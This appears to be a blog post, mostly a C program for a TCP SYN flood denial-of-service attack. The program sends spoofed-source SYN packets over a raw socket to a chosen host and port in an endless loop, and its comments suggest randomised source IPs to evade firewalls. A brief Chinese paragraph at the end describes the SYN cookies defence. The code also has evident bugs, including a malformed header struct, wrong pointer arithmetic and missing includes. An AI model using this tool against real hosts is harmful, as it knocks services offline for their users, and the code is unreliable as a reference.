1: #include <unistd.h> 2: #include <stdio.h> 3: #include <sys/socket.h> 4: #include <netinet/ip.h> 5: #include <netinet/tcp.h> 6: 7: /* TCP flags, can define something like this if needed */ 8: /* 9: #define URG 32 10: #define ACK 16 11: #define PSH 8 12: #define RST 4 13: #define SYN 2 14: #define FIN 1 15: */ 16: 17: struct ipheader { 18: unsigned char iph_ihl:5, /* Little-endian */ 19: iph_ver:4; 20: unsigned char iph_tos; 21: unsigned short int iph_len; 22: unsigned short int iph_ident; 23: unsigned char iph_flags; 24: unsigned short int iph_offset; 25: unsigned char iph_ttl; 26: unsigned char iph_protocol; 27: unsigned short int iph_chksum; 28: unsigned int iph_sourceip; 29: unsigned int iph_destip; 30: }; 31: /* Structure of the TCP header */ 32: struct tcpheader { 33: unsigned short int tcph_srcport; 34: unsigned short int tcph_destport; 35: unsigned int tcph_seqnum; 36: unsigned int tcph_acknum; 37: unsigned char tcph_reserved:4, tcph_offset:4; 38: unsigned int 39: tcp_res1:4, /*little-endian*/ 40: tcph_hlen:4, /*length of tcp header in 32-bit words*/ 41: tcph_fin:1, /*Finish flag "fin"*/ 42: tcph_syn:1, /*Synchronize sequence numbers to start a connection*/ 43: tcph_rst:1, /*Reset flag */ 44: tcph_psh:1, /*Push, sends data to the application*/ 45: tcph_ack:1, /*acknowledge*/ 46: tcph_urg:1, /*urgent pointer*/ 47: tcph_res2:2; 48: unsigned short int tcph_win; 49: unsigned short int tcph_chksum; 50: unsigned short int tcph_urgptr; 51: }; 52: 53: /* function for header checksums */ 54: unsigned short csum (unsigned short *buf, int nwords) 55: { 56: unsigned long sum; 57: for (sum = 0; nwords > 0; nwords--) 58: sum += *buf++; 59: sum = (sum >> 16) + (sum & 0xffff); 60: sum += (sum >> 16); 61: return (unsigned short)(~sum); 62: } 63: 64: int main(int argc, char *argv[ ]) 65: { 66: /* open raw socket */ 67: int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); 68: /* this buffer will contain ip header, tcp header, and payload we'll 69: point an ip header structure at its beginning, and a tcp header 70: structure after that to write the header values into it */ 71: char datagram[4096]; 72: struct ipheader *iph = (struct ipheader *) datagram; 73: struct tcpheader *tcph = (struct tcpheader *) datagram + sizeof (struct ipheader); 74: struct sockaddr_in sin; 75: 76: if(argc != 3) 77: { 78: printf("Invalid parameters!\n"); 79: printf("Usage: %s <target IP/hostname> <port to be flooded>\n", argv[0]); 80: exit(-1); 81: } 82: 83: unsigned int floodport = atoi(argv[2]); 84: /* the sockaddr_in structure containing the destination 85: address is used in sendto() to determine the datagrams path */ 86: sin.sin_family = AF_INET; 87: /* you byte-order >1byte header values to network byte 88: order (not needed on big-endian machines). */ 89: sin.sin_port = htons(floodport); 90: sin.sin_addr.s_addr = inet_addr(argv[1]); 91: /* zero out the buffer */ 92: memset(datagram, 0, 4096); 93: /* we'll now fill in the ip/tcp header values */ 94: iph->iph_ihl = 5; 95: iph->iph_ver = 4; 96: iph->iph_tos = 0; 97: /* just datagram, no payload. You can add payload as needed */ 98: iph->iph_len = sizeof (struct ipheader) + sizeof (struct tcpheader); 99: /* the value doesn't matter here */ 100: iph->iph_ident = htonl (54321); 101: iph->iph_offset = 0; 102: iph->iph_ttl = 255; 103: iph->iph_protocol = 6; // upper layer protocol, TCP 104: /* set it to 0 before computing the actual checksum later */ 105: iph->iph_chksum = 0; 106: 107: /* SYN's can be blindly spoofed. Better to create randomly 108: generated IP to avoid blocking by firewall */ 109: iph->iph_sourceip = inet_addr ("192.168.3.100"); 110: /* Better if we can create a range of destination IP, 111: so we can flood all of them at the same time */ 112: iph->iph_destip = sin.sin_addr.s_addr; 113: /* arbitrary port for source */ 114: tcph->tcph_srcport = htons (5678); 115: tcph->tcph_destport = htons (floodport); 116: /* in a SYN packet, the sequence is a random */ 117: tcph->tcph_seqnum = random(); 118: /* number, and the ACK sequence is 0 in the 1st packet */ 119: tcph->tcph_acknum = 0; 120: tcph->tcph_res2 = 0; 121: /* first and only tcp segment */ 122: tcph->tcph_offset = 0; 123: /* initial connection request, I failed to use TH_FIN, 124: so check the tcp.h, TH_FIN = 0x02 or use #define TH_FIN 0x02*/ 125: tcph->tcph_syn = 0x02; 126: /* maximum allowed window size */ 127: tcph->tcph_win = htonl (65535); 128: /* if you set a checksum to zero, your kernel's IP stack should 129: fill in the correct checksum during transmission. */ 130: tcph->tcph_chksum = 0; 131: tcph-> tcph_urgptr = 0; 132: 133: iph-> iph_chksum = csum ((unsigned short *) datagram, iph-> iph_len >> 1); 134: 135: /* a IP_HDRINCL call, to make sure that the kernel knows 136: the header is included in the data, and doesn't insert 137: its own header into the packet before our data */ 138: /* Some dummy */ 139: int tmp = 1; 140: const int *val = &tmp; 141: if(setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0) 142: { 143: printf("Error: setsockopt() - Cannot set HDRINCL!\n"); 144: /* If something wrong, just exit */ 145: exit(-1); 146: } 147: else 148: printf("OK, using your own header!\n"); 149: 150: /* You have to manually stop this program */ 151: while(1) 152: { 153: if(sendto(s, /* our socket */ 154: datagram, /* the buffer containing headers and data */ 155: iph->iph_len, /* total length of our datagram */ 156: 0, /* routing flags, normally always 0 */ 157: (struct sockaddr *) &sin, /* socket addr, just like in */ 158: sizeof (sin)) < 0) /* a normal send() */ 159: printf("sendto() error!!!.\n"); 160: else 161: printf("Flooding %s at %u...\n", argv[1], floodport); 162: 163: } 164: return 0; 165: }在server有對應之道就是打開SYN Cookies,這個linux本身有支援,syn cookies在七八年前我就聽過了,應該是成熟的技巧,利用hash table處理connections避免server資源耗盡地的問題,使用
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
打開,在trace listen(), accpet()的時候其實裡面就有syn cookies的部分codes
不過對於DDOS還是無法解決網路頻寬耗盡的問題
沒有留言:
張貼留言